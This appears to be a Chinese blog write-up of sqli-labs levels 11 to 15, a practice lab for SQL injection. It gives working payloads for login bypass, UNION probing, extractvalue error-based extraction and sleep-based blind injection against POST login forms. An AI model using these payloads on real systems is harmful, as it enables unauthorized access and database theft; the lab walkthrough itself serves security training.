简单分析sqlilabs11-15

less11

基于POST的万能密码登录

使用admin’ or ‘1’='1%23
成功登入,但是好像没有什么用

方法一(union查询)

单引号’ 报错
图片: https://uploader.shimo.im/f/pqbEd60vgFuy74st.png

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’ and password=’’ LIMIT 0,1’ at line 1
’’’’ and password=’’ LIMIT 0,1’
猜测数据库语句为:

select * from xxx where username='' and password='' limit 0,1

username=1’ order by 2%23
图片: https://uploader.shimo.im/f/1ZUvXXnos7oxEhAu.png

username=1’ order by 4%23 报错
图片: https://uploader.shimo.im/f/9ZDNT1APnfw6MC9I.png

方法二( extractvalue报错注入)

uname=admin’ and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=&submit=Submit
图片: https://uploader.shimo.im/f/14IJWg795WWoLTeC.png

less12

单引号’不报错
尝试双引号
图片: https://uploader.shimo.im/f/5gNuAGABVcMHxwqD.png

’""") and password=("") LIMIT 0,1’
由此猜测数据库语句为:

select * from xxx where username=("") and password=("") limit 0,1

方法和第十一关相同

万能密码登录

admin") and (“1”) = (“1
admin”) and (“1”) = ("1

less13

单引号
报错为:
‘’’’) and password=(’’) LIMIT 0,1’

select * from xx where username=('') and password=('') limit 0,1

万能密码登录

admin’) and (‘1’) = (‘1
admin’) and (‘1’) = ('1

union查询

admin’) order by 3# 报错 可知为存在两行字段
图片: https://uploader.shimo.im/f/BhyZo88YRqQG4gBo.png

admin’) union select 1,2#
没有回显,尝试报错注入

报错注入

uname=admin’) and extractvalue(1,concat(0x7e,(select database())))#&passwd=admin&submit=Submit
图片: https://uploader.shimo.im/f/vTnihRiSiOuxZ137.png

时间盲注

uname=admin’) and length(database())=8#&passwd=admin&submit=Submit
图片: https://uploader.shimo.im/f/z1wl9nEv0jQdAq4F.png

less14

双引号报错
图片: https://uploader.shimo.im/f/PhRa9DF8lTHt0MlV.png

admin" order by 3# 知为两列数据
admin" union select 1,2# 无回显尝试报错注入或者盲注

less15

单引号双引号等均无回显
尝试时间盲注
admin’ and sleep(5)# 成功延时5秒
uname=admin%27+and+if(length(database())=8,sleep%285%29,0)%23&passwd=ddd&submit=Submit
数据库长度为8

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值